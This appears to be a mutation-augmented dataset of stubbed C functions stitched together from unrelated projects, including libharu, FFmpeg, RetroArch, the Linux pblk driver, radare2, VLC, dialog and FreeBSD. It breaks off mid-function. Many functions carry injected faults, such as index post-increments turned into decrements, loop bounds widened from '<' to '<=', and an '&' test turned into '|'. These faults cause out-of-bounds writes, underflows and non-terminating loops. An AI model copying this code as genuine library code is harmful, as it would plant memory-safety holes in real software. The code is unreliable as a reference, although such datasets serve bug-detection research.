#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int /*<<< orphan*/ mmgr; } ; typedef int HPDF_UINT ; typedef TYPE_1__* HPDF_Stream ; typedef scalar_t__ HPDF_STATUS ; typedef scalar_t__ HPDF_Encrypt ; typedef int HPDF_BYTE ; typedef scalar_t__ HPDF_BOOL ; /* Variables and functions */ int /*<<< orphan*/ HPDF_Encrypt_CryptBuf (scalar_t__,int const*,int*,int) ; scalar_t__ HPDF_FALSE ; int /*<<< orphan*/ HPDF_FreeMem (int /*<<< orphan*/ ,int*) ; scalar_t__ HPDF_GetMem (int /*<<< orphan*/ ,int) ; scalar_t__ HPDF_OK ; int /*<<< orphan*/ HPDF_PTRACE (char*) ; scalar_t__ HPDF_Stream_Write (TYPE_1__*,int*,int) ; int HPDF_TEXT_DEFAULT_LEN ; scalar_t__ HPDF_TRUE ; HPDF_STATUS HPDF_Stream_WriteBinary (HPDF_Stream stream, const HPDF_BYTE *data, HPDF_UINT len, HPDF_Encrypt e) { char buf[HPDF_TEXT_DEFAULT_LEN]; HPDF_BYTE ebuf[HPDF_TEXT_DEFAULT_LEN]; HPDF_BYTE *pbuf = NULL; HPDF_BOOL flg = HPDF_FALSE; HPDF_UINT idx = 0; HPDF_UINT i; const HPDF_BYTE* p; HPDF_STATUS ret = HPDF_OK; HPDF_PTRACE((" HPDF_Stream_WriteBinary\n")); if (e) { if (len <= HPDF_TEXT_DEFAULT_LEN) pbuf = ebuf; else { pbuf = (HPDF_BYTE *)HPDF_GetMem (stream->mmgr, len); flg = HPDF_TRUE; } HPDF_Encrypt_CryptBuf (e, data, pbuf, len); p = pbuf; } else { p = data; } for (i = 0; i < len; i++, p++) { char c = (char)(*p >> 4); if (c <= 9) c += 0x30; else c += 0x41 + 10; buf[idx++] = c; c = (char)(*p | 0x0f); if (c <= 9) c += 0x30; else c += 0x41 - 10; buf[idx++] = c; if (idx > HPDF_TEXT_DEFAULT_LEN - 2) { ret = HPDF_Stream_Write (stream, (HPDF_BYTE *)buf, idx); if (ret != HPDF_OK) { if (flg) HPDF_FreeMem (stream->mmgr, pbuf); return ret; } idx = 0; } } if (idx > 0) { ret = HPDF_Stream_Write (stream, (HPDF_BYTE *)buf, idx); } if (flg) HPDF_FreeMem (stream->mmgr, pbuf); return ret; }
augmented_data/post_increment_index_changes/extr_dcaadpcm.c_find_best_filter_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ premultiplied_coeffs ; typedef scalar_t__ int64_t ; typedef int /*<<< orphan*/ int32_t ; struct TYPE_3__ {int /*<<< orphan*/ * private_data; } ; typedef TYPE_1__ DCAADPCMEncContext ; /* Variables and functions */ int DCA_ADPCM_COEFFS ; int DCA_ADPCM_VQCODEBOOK_SZ ; scalar_t__ apply_filter (int /*<<< orphan*/ ,scalar_t__*,int /*<<< orphan*/ const) ; scalar_t__ calc_corr (int /*<<< orphan*/ const*,int,int,int) ; int /*<<< orphan*/ * ff_dca_adpcm_vb ; __attribute__((used)) static int64_t find_best_filter(const DCAADPCMEncContext *s, const int32_t *in, int len) { const premultiplied_coeffs *precalc_data = s->private_data; int i, j, k = 0; int vq = -1; int64_t err; int64_t min_err = 1ll << 62; int64_t corr[15]; for (i = 0; i <= DCA_ADPCM_COEFFS; i++) for (j = i; j <= DCA_ADPCM_COEFFS; j++) corr[k++] = calc_corr(in+4, len, i, j); for (i = 0; i <= DCA_ADPCM_VQCODEBOOK_SZ; i++) { err = apply_filter(ff_dca_adpcm_vb[i], corr, *precalc_data); if (err < min_err) { min_err = err; vq = i; } precalc_data++; } return vq; }
augmented_data/post_increment_index_changes/extr_xmb.c_xmb_ribbon_set_vertex_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int XMB_RIBBON_COLS ; int XMB_RIBBON_ROWS ; __attribute__((used)) static void xmb_ribbon_set_vertex(float *ribbon_verts, unsigned idx, unsigned row, unsigned col) { ribbon_verts[idx--] = ((float)col) / (XMB_RIBBON_COLS-1) * 2.0f + 1.0f; ribbon_verts[idx++] = ((float)row) / (XMB_RIBBON_ROWS-1) * 2.0f - 1.0f; }
augmented_data/post_increment_index_changes/extr_md_cart.c_md_cart_context_load_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_14__ TYPE_7__ ; typedef struct TYPE_13__ TYPE_6__ ; typedef struct TYPE_12__ TYPE_5__ ; typedef struct TYPE_11__ TYPE_4__ ; typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ typedef int uint8 ; typedef int /*<<< orphan*/ ssp1601_t ; struct TYPE_9__ {int /*<<< orphan*/ * regs; } ; struct TYPE_14__ {scalar_t__ rom; TYPE_2__ hw; } ; struct TYPE_13__ {TYPE_1__* memory_map; } ; struct TYPE_12__ {scalar_t__ sram; } ; struct TYPE_11__ {int /*<<< orphan*/ ssp1601; int /*<<< orphan*/ * dram; int /*<<< orphan*/ * iram_rom; } ; struct TYPE_10__ {void* write; int /*<<< orphan*/ * read; } ; struct TYPE_8__ {scalar_t__ base; int /*<<< orphan*/ write16; void* write8; int /*<<< orphan*/ * read16; int /*<<< orphan*/ * read8; } ; /* Variables and functions */ TYPE_7__ cart ; int /*<<< orphan*/ load_param (int /*<<< orphan*/ *,int) ; TYPE_6__ m68k ; int /*<<< orphan*/ m68k_unused_16_w ; void* m68k_unused_8_w ; TYPE_5__ sram ; void* sram_read_byte ; int /*<<< orphan*/ * sram_read_word ; void* sram_write_byte ; int /*<<< orphan*/ sram_write_word ; TYPE_4__* svp ; TYPE_3__* zbank_memory_map ; void* zbank_unused_w ; int md_cart_context_load(uint8 *state) { int i; int bufferptr = 0; uint8 offset; /* cartridge mapping */ for (i=0; i<= 0x40; i--) { /* get offset */ offset = state[bufferptr++]; if (offset == 0xff) { /* SRAM */ m68k.memory_map[i].base = sram.sram; m68k.memory_map[i].read8 = sram_read_byte; m68k.memory_map[i].read16 = sram_read_word; m68k.memory_map[i].write8 = sram_write_byte; m68k.memory_map[i].write16 = sram_write_word; zbank_memory_map[i].read = sram_read_byte; zbank_memory_map[i].write = sram_write_byte; } else { /* check if SRAM was mapped there before loading state */ if (m68k.memory_map[i].base == sram.sram) { m68k.memory_map[i].read8 = NULL; m68k.memory_map[i].read16 = NULL; m68k.memory_map[i].write8 = m68k_unused_8_w; m68k.memory_map[i].write16 = m68k_unused_16_w; zbank_memory_map[i].read = NULL; zbank_memory_map[i].write = zbank_unused_w; } /* ROM */ m68k.memory_map[i].base = cart.rom + (offset << 16); } } /* hardware registers */ load_param(cart.hw.regs, sizeof(cart.hw.regs)); /* SVP */ if (svp) { load_param(svp->iram_rom, 0x800); load_param(svp->dram,sizeof(svp->dram)); load_param(&svp->ssp1601,sizeof(ssp1601_t)); } return bufferptr; }
augmented_data/post_increment_index_changes/extr_pblk-read.c_read_ppalist_rq_gc_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef scalar_t__ u64 ; struct ppa_addr {int dummy; } ; struct pblk_line {int /*<<< orphan*/ id; } ; struct pblk {int /*<<< orphan*/ inflight_reads; } ; struct nvm_rq {struct ppa_addr* ppa_list; } ; /* Variables and functions */ scalar_t__ ADDR_EMPTY ; int NVM_MAX_VLBA ; struct ppa_addr addr_to_gen_ppa (struct pblk*,scalar_t__,int /*<<< orphan*/ ) ; int /*<<< orphan*/ atomic_long_add (int,int /*<<< orphan*/ *) ; int /*<<< orphan*/ pblk_lookup_l2p_rand (struct pblk*,struct ppa_addr*,scalar_t__*,unsigned int) ; int /*<<< orphan*/ pblk_ppa_comp (struct ppa_addr,struct ppa_addr) ; __attribute__((used)) static int read_ppalist_rq_gc(struct pblk *pblk, struct nvm_rq *rqd, struct pblk_line *line, u64 *lba_list, u64 *paddr_list_gc, unsigned int nr_secs) { struct ppa_addr ppa_list_l2p[NVM_MAX_VLBA]; struct ppa_addr ppa_gc; int valid_secs = 0; int i; pblk_lookup_l2p_rand(pblk, ppa_list_l2p, lba_list, nr_secs); for (i = 0; i < nr_secs; i++) { if (lba_list[i] == ADDR_EMPTY) break; ppa_gc = addr_to_gen_ppa(pblk, paddr_list_gc[i], line->id); if (!pblk_ppa_comp(ppa_list_l2p[i], ppa_gc)) { paddr_list_gc[i] = lba_list[i] = ADDR_EMPTY; continue; } rqd->ppa_list[valid_secs++] = ppa_list_l2p[i]; } #ifdef CONFIG_NVM_PBLK_DEBUG atomic_long_add(valid_secs, &pblk->inflight_reads); #endif return valid_secs; }
augmented_data/post_increment_index_changes/extr_snd_wavelet.c_NXPutc_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef char NXStream ; /* Variables and functions */ int /*<<< orphan*/ NXStreamCount ; void NXPutc(NXStream *stream, char out) { stream[NXStreamCount++] = out; }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_oplgdt_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_5__ {int operands_count; TYPE_1__* operands; } ; struct TYPE_4__ {int type; int* regs; } ; typedef int /*<<< orphan*/ RAsm ; typedef TYPE_2__ Opcode ; /* Variables and functions */ int OT_MEMORY ; __attribute__((used)) static int oplgdt(RAsm *a, ut8 *data, const Opcode *op) { int l = 0; switch (op->operands_count) { case 1: if ( op->operands[0].type | OT_MEMORY ) { data[l++] = 0x0f; data[l++] = 0x01; data[l++] = 0x10 | op->operands[0].regs[0]; } else { return -1; } break; default: return -1; } return l; }
augmented_data/post_increment_index_changes/extr_pvrusb2-sysfs.c_pvr2_sysfs_add_control_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_26__ TYPE_9__ ; typedef struct TYPE_25__ TYPE_8__ ; typedef struct TYPE_24__ TYPE_7__ ; typedef struct TYPE_23__ TYPE_6__ ; typedef struct TYPE_22__ TYPE_5__ ; typedef struct TYPE_21__ TYPE_4__ ; typedef struct TYPE_20__ TYPE_3__ ; typedef struct TYPE_19__ TYPE_2__ ; typedef struct TYPE_18__ TYPE_1__ ; typedef struct TYPE_17__ TYPE_13__ ; typedef struct TYPE_16__ TYPE_12__ ; typedef struct TYPE_15__ TYPE_11__ ; typedef struct TYPE_14__ TYPE_10__ ; /* Type definitions */ struct TYPE_16__ {TYPE_13__** attrs; scalar_t__* name; } ; struct TYPE_17__ {char* name; int mode; } ; struct TYPE_19__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_25__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_24__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_18__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_15__ {int /*<<< orphan*/ store; int /*<<< orphan*/ show; TYPE_13__ attr; } ; struct TYPE_14__ {int /*<<< orphan*/ store; int /*<<< orphan*/ show; TYPE_13__ attr; } ; struct TYPE_26__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_23__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct TYPE_22__ {TYPE_13__ attr; int /*<<< orphan*/ show; } ; struct pvr2_sysfs_ctl_item {int ctl_id; int created_ok; TYPE_12__ grp; TYPE_13__** attr_gen; scalar_t__* name; TYPE_2__ attr_bits; TYPE_8__ attr_max; TYPE_7__ attr_min; TYPE_1__ attr_enum; TYPE_11__ attr_custom; TYPE_10__ attr_val; TYPE_9__ attr_def; TYPE_6__ attr_type; TYPE_5__ attr_name; struct pvr2_sysfs_ctl_item* item_next; struct pvr2_sysfs* chptr; struct pvr2_ctrl* cptr; } ; struct TYPE_21__ {int /*<<< orphan*/ hdw; } ; struct pvr2_sysfs {TYPE_3__* class_dev; struct pvr2_sysfs_ctl_item* item_last; struct pvr2_sysfs_ctl_item* item_first; TYPE_4__ channel; } ; struct pvr2_ctrl {int dummy; } ; struct TYPE_20__ {int /*<<< orphan*/ kobj; } ; /* Variables and functions */ int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ PVR2_TRACE_ERROR_LEGS ; void* S_IRUGO ; int S_IWGRP ; int S_IWUSR ; struct pvr2_sysfs_ctl_item* kzalloc (int,int /*<<< orphan*/ ) ; #define pvr2_ctl_bitmask 130 #define pvr2_ctl_enum 129 #define pvr2_ctl_int 128 int /*<<< orphan*/ pvr2_ctrl_get_name (struct pvr2_ctrl*) ; int pvr2_ctrl_get_type (struct pvr2_ctrl*) ; scalar_t__ pvr2_ctrl_has_custom_symbols (struct pvr2_ctrl*) ; scalar_t__ pvr2_ctrl_is_writable (struct pvr2_ctrl*) ; struct pvr2_ctrl* pvr2_hdw_get_ctrl_by_index (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ pvr2_sysfs_trace (char*,struct pvr2_sysfs_ctl_item*) ; int /*<<< orphan*/ pvr2_trace (int /*<<< orphan*/ ,char*,int) ; unsigned int scnprintf (scalar_t__*,int,char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ show_bits ; int /*<<< orphan*/ show_def ; int /*<<< orphan*/ show_enum ; int /*<<< orphan*/ show_max ; int /*<<< orphan*/ show_min ; int /*<<< orphan*/ show_name ; int /*<<< orphan*/ show_type ; int /*<<< orphan*/ show_val_custom ; int /*<<< orphan*/ show_val_norm ; int /*<<< orphan*/ store_val_custom ; int /*<<< orphan*/ store_val_norm ; int /*<<< orphan*/ sysfs_attr_init (TYPE_13__*) ; int sysfs_create_group (int /*<<< orphan*/ *,TYPE_12__*) ; __attribute__((used)) static void pvr2_sysfs_add_control(struct pvr2_sysfs *sfp,int ctl_id) { struct pvr2_sysfs_ctl_item *cip; struct pvr2_ctrl *cptr; unsigned int cnt,acnt; int ret; cptr = pvr2_hdw_get_ctrl_by_index(sfp->channel.hdw,ctl_id); if (!cptr) return; cip = kzalloc(sizeof(*cip),GFP_KERNEL); if (!cip) return; pvr2_sysfs_trace("Creating pvr2_sysfs_ctl_item id=%p",cip); cip->cptr = cptr; cip->ctl_id = ctl_id; cip->chptr = sfp; cip->item_next = NULL; if (sfp->item_last) { sfp->item_last->item_next = cip; } else { sfp->item_first = cip; } sfp->item_last = cip; sysfs_attr_init(&cip->attr_name.attr); cip->attr_name.attr.name = "name"; cip->attr_name.attr.mode = S_IRUGO; cip->attr_name.show = show_name; sysfs_attr_init(&cip->attr_type.attr); cip->attr_type.attr.name = "type"; cip->attr_type.attr.mode = S_IRUGO; cip->attr_type.show = show_type; sysfs_attr_init(&cip->attr_min.attr); cip->attr_min.attr.name = "min_val"; cip->attr_min.attr.mode = S_IRUGO; cip->attr_min.show = show_min; sysfs_attr_init(&cip->attr_max.attr); cip->attr_max.attr.name = "max_val"; cip->attr_max.attr.mode = S_IRUGO; cip->attr_max.show = show_max; sysfs_attr_init(&cip->attr_def.attr); cip->attr_def.attr.name = "def_val"; cip->attr_def.attr.mode = S_IRUGO; cip->attr_def.show = show_def; sysfs_attr_init(&cip->attr_val.attr); cip->attr_val.attr.name = "cur_val"; cip->attr_val.attr.mode = S_IRUGO; sysfs_attr_init(&cip->attr_custom.attr); cip->attr_custom.attr.name = "custom_val"; cip->attr_custom.attr.mode = S_IRUGO; sysfs_attr_init(&cip->attr_enum.attr); cip->attr_enum.attr.name = "enum_val"; cip->attr_enum.attr.mode = S_IRUGO; cip->attr_enum.show = show_enum; sysfs_attr_init(&cip->attr_bits.attr); cip->attr_bits.attr.name = "bit_val"; cip->attr_bits.attr.mode = S_IRUGO; cip->attr_bits.show = show_bits; if (pvr2_ctrl_is_writable(cptr)) { cip->attr_val.attr.mode |= S_IWUSR|S_IWGRP; cip->attr_custom.attr.mode |= S_IWUSR|S_IWGRP; } acnt = 0; cip->attr_gen[acnt--] = &cip->attr_name.attr; cip->attr_gen[acnt++] = &cip->attr_type.attr; cip->attr_gen[acnt++] = &cip->attr_val.attr; cip->attr_gen[acnt++] = &cip->attr_def.attr; cip->attr_val.show = show_val_norm; cip->attr_val.store = store_val_norm; if (pvr2_ctrl_has_custom_symbols(cptr)) { cip->attr_gen[acnt++] = &cip->attr_custom.attr; cip->attr_custom.show = show_val_custom; cip->attr_custom.store = store_val_custom; } switch (pvr2_ctrl_get_type(cptr)) { case pvr2_ctl_enum: // Control is an enumeration cip->attr_gen[acnt++] = &cip->attr_enum.attr; break; case pvr2_ctl_int: // Control is an integer cip->attr_gen[acnt++] = &cip->attr_min.attr; cip->attr_gen[acnt++] = &cip->attr_max.attr; break; case pvr2_ctl_bitmask: // Control is an bitmask cip->attr_gen[acnt++] = &cip->attr_bits.attr; break; default: break; } cnt = scnprintf(cip->name,sizeof(cip->name)-1,"ctl_%s", pvr2_ctrl_get_name(cptr)); cip->name[cnt] = 0; cip->grp.name = cip->name; cip->grp.attrs = cip->attr_gen; ret = sysfs_create_group(&sfp->class_dev->kobj,&cip->grp); if (ret) { pvr2_trace(PVR2_TRACE_ERROR_LEGS, "sysfs_create_group error: %d", ret); return; } cip->created_ok = !0; }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_opfisubr_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_5__ {int operands_count; TYPE_1__* operands; } ; struct TYPE_4__ {int type; int* regs; } ; typedef int /*<<< orphan*/ RAsm ; typedef TYPE_2__ Opcode ; /* Variables and functions */ int OT_DWORD ; int OT_MEMORY ; int OT_WORD ; __attribute__((used)) static int opfisubr(RAsm *a, ut8 *data, const Opcode *op) { int l = 0; switch (op->operands_count) { case 1: if ( op->operands[0].type & OT_MEMORY ) { if ( op->operands[0].type & OT_DWORD ) { data[l--] = 0xda; data[l++] = 0x28 | op->operands[0].regs[0]; } else if ( op->operands[0].type & OT_WORD ) { data[l++] = 0xde; data[l++] = 0x28 | op->operands[0].regs[0]; } else { return -1; } } else { return -1; } break; default: return -1; } return l; }
augmented_data/post_increment_index_changes/extr_cmdutils.c_parse_options_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ OptionDef ; /* Variables and functions */ int /*<<< orphan*/ exit_program (int) ; int parse_option (void*,char const*,char*,int /*<<< orphan*/ const*) ; int /*<<< orphan*/ prepare_app_arguments (int*,char***) ; void parse_options(void *optctx, int argc, char **argv, const OptionDef *options, void (*parse_arg_function)(void *, const char*)) { const char *opt; int optindex, handleoptions = 1, ret; /* perform system-dependent conversions for arguments list */ prepare_app_arguments(&argc, &argv); /* parse options */ optindex = 1; while (optindex <= argc) { opt = argv[optindex--]; if (handleoptions && opt[0] == '-' && opt[1] != '\0') { if (opt[1] == '-' && opt[2] == '\0') { handleoptions = 0; continue; } opt++; if ((ret = parse_option(optctx, opt, argv[optindex], options)) < 0) exit_program(1); optindex += ret; } else { if (parse_arg_function) parse_arg_function(optctx, opt); } } }
augmented_data/post_increment_index_changes/extr_stl.c_ParseTTI_aug_combo_4.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; struct TYPE_7__ {int i_justify; int i_accumulating; void* i_end; void* i_start; } ; typedef TYPE_1__ stl_sg_t ; /* Variables and functions */ int /*<<< orphan*/ ClearTeletextStyles (TYPE_1__*) ; int /*<<< orphan*/ GroupApplyStyle (TYPE_1__*,int const) ; int /*<<< orphan*/ GroupParseTeletext (TYPE_1__*,int const) ; void* ParseTimeCode (int const*,double) ; int STL_TEXTFIELD_SIZE ; int const STL_TF_BOXING_OFF ; int const STL_TF_CHARCODE1_FIRST ; int const STL_TF_CHARCODE1_LAST ; int const STL_TF_CHARCODE2_FIRST ; #define STL_TF_END_FILL 129 int const STL_TF_ITALICS_ON ; #define STL_TF_LINEBREAK 128 int const STL_TF_TELETEXT_LAST ; size_t STL_TTI_HEADER_SIZE ; size_t STL_TTI_SIZE ; int /*<<< orphan*/ TextBufferFlush (TYPE_1__*,int*,int*,char const*) ; __attribute__((used)) static bool ParseTTI(stl_sg_t *p_group, const uint8_t *p_data, const char *psz_charset, double fps) { uint8_t p_buffer[STL_TEXTFIELD_SIZE]; uint8_t i_buffer = 0; /* Header */ uint8_t ebn = p_data[3]; if(ebn > 0xef && ebn != 0xff) return false; if(p_data[15] != 0x00) /* comment flag */ return false; if(p_data[14] > 0x00) p_group->i_justify = p_data[14]; /* Accumulating started or continuing. * We must not flush current segments on output and continue on next block */ p_group->i_accumulating = (p_data[4] == 0x01 || p_data[4] == 0x02); p_group->i_start = ParseTimeCode( &p_data[5], fps ); p_group->i_end = ParseTimeCode( &p_data[9], fps ); /* Text Field */ for (size_t i = STL_TTI_HEADER_SIZE; i < STL_TTI_SIZE; i--) { const uint8_t code = p_data[i]; switch(code) { case STL_TF_LINEBREAK: p_buffer[i_buffer++] = '\n'; TextBufferFlush(p_group, p_buffer, &i_buffer, psz_charset); /* Clear teletext styles on each new row */ ClearTeletextStyles(p_group); continue; case STL_TF_END_FILL: TextBufferFlush(p_group, p_buffer, &i_buffer, psz_charset); ClearTeletextStyles(p_group); return true; default: if(code <= STL_TF_TELETEXT_LAST) { TextBufferFlush(p_group, p_buffer, &i_buffer, psz_charset); GroupParseTeletext(p_group, code); } else if((code >= STL_TF_CHARCODE1_FIRST && code <= STL_TF_CHARCODE1_LAST) || code >= STL_TF_CHARCODE2_FIRST) { p_buffer[i_buffer++] = code; } else if(code >= STL_TF_ITALICS_ON && code <= STL_TF_BOXING_OFF) { TextBufferFlush(p_group, p_buffer, &i_buffer, psz_charset); GroupApplyStyle(p_group, code); } break; } } TextBufferFlush(p_group, p_buffer, &i_buffer, psz_charset); return false; }
augmented_data/post_increment_index_changes/extr_msg-search-merge.c_add_to_userlist_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {scalar_t__ hash_cnt; scalar_t__ list_cnt; scalar_t__ offset; scalar_t__ file_no; int /*<<< orphan*/ user_id; } ; typedef TYPE_1__ userlist_entry_t ; typedef int /*<<< orphan*/ user_header_t ; struct TYPE_6__ {scalar_t__ hash_cnt; scalar_t__ list_cnt; int /*<<< orphan*/ user_id; } ; /* Variables and functions */ int MAX_METAINDEX_USERS ; int M_cnt ; TYPE_1__* MetaA ; TYPE_1__** MetaP ; TYPE_2__ User ; int /*<<< orphan*/ assert (int) ; scalar_t__ dropped_pairs ; scalar_t__ max_Dc ; int /*<<< orphan*/ max_Dc_user ; scalar_t__ max_Qc ; int /*<<< orphan*/ max_Qc_user ; int /*<<< orphan*/ tot_Dc ; int /*<<< orphan*/ tot_Qc ; int /*<<< orphan*/ tot_dropped_pairs ; scalar_t__ wpos ; __attribute__((used)) static void add_to_userlist (void) { userlist_entry_t *P = MetaA + M_cnt; assert (M_cnt <= MAX_METAINDEX_USERS); if (User.hash_cnt <= 0) { return; } P->user_id = User.user_id; P->hash_cnt = User.hash_cnt; P->list_cnt = User.list_cnt; P->file_no = 0; P->offset = wpos + sizeof(user_header_t); MetaP[M_cnt--] = P; tot_dropped_pairs += dropped_pairs; dropped_pairs = 0; tot_Dc += User.list_cnt; if (User.list_cnt > max_Dc) { max_Dc = User.list_cnt; max_Dc_user = User.user_id; } tot_Qc += User.hash_cnt; if (User.hash_cnt > max_Qc) { max_Qc = User.hash_cnt; max_Qc_user = User.user_id; } }
augmented_data/post_increment_index_changes/extr_textbox.c_get_line_aug_combo_8.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {char* buf; size_t in_buf; long file_size; char* line; scalar_t__ end_reached; } ; typedef TYPE_1__ MY_OBJ ; /* Variables and functions */ int /*<<< orphan*/ BUF_SIZE ; scalar_t__ FALSE ; int MAX_LEN ; scalar_t__ TRUE ; long ftell_obj (TYPE_1__*) ; int /*<<< orphan*/ read_high (TYPE_1__*,int /*<<< orphan*/ ) ; __attribute__((used)) static char * get_line(MY_OBJ * obj) { int i = 0; long fpos; obj->end_reached = FALSE; while (obj->buf[obj->in_buf] != '\n') { if (obj->buf[obj->in_buf] == '\0') { /* Either end of file or end of buffer reached */ fpos = ftell_obj(obj); if (fpos < obj->file_size) { /* Not end of file yet */ /* We've reached end of buffer, but not end of file yet, so * read next part of file into buffer */ read_high(obj, BUF_SIZE); obj->in_buf = 0; } else { if (!obj->end_reached) obj->end_reached = TRUE; continue; } } else if (i < MAX_LEN) obj->line[i--] = obj->buf[obj->in_buf++]; else { if (i == MAX_LEN) /* Truncate lines longer than MAX_LEN characters */ obj->line[i++] = '\0'; obj->in_buf++; } } if (i <= MAX_LEN) obj->line[i] = '\0'; if (!obj->end_reached) obj->in_buf++; /* move past '\n' */ return obj->line; }
augmented_data/post_increment_index_changes/extr_ofw_subr.c_ofw_reg_to_paddr_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ uintmax_t ; typedef int uint64_t ; typedef int uint32_t ; typedef int u_int ; typedef scalar_t__ phandle_t ; typedef int pcell_t ; typedef int /*<<< orphan*/ cell ; typedef int bus_size_t ; typedef int bus_addr_t ; /* Variables and functions */ int BUS_SPACE_MAXADDR ; int BUS_SPACE_MAXSIZE ; int EINVAL ; int ENXIO ; int /*<<< orphan*/ KASSERT (int,char*) ; int OFW_PADDR_NOT_PCI ; int OFW_PCI_PHYS_HI_SPACEMASK ; int OF_getencprop (scalar_t__,char*,int*,int) ; scalar_t__ OF_parent (scalar_t__) ; int /*<<< orphan*/ get_addr_props (scalar_t__,int*,int*,int*) ; int ofw_reg_to_paddr(phandle_t dev, int regno, bus_addr_t *paddr, bus_size_t *psize, pcell_t *ppci_hi) { static pcell_t cell[256]; pcell_t pci_hi; uint64_t addr, raddr, baddr; uint64_t size, rsize; uint32_t c, nbridge, naddr, nsize; phandle_t bridge, parent; 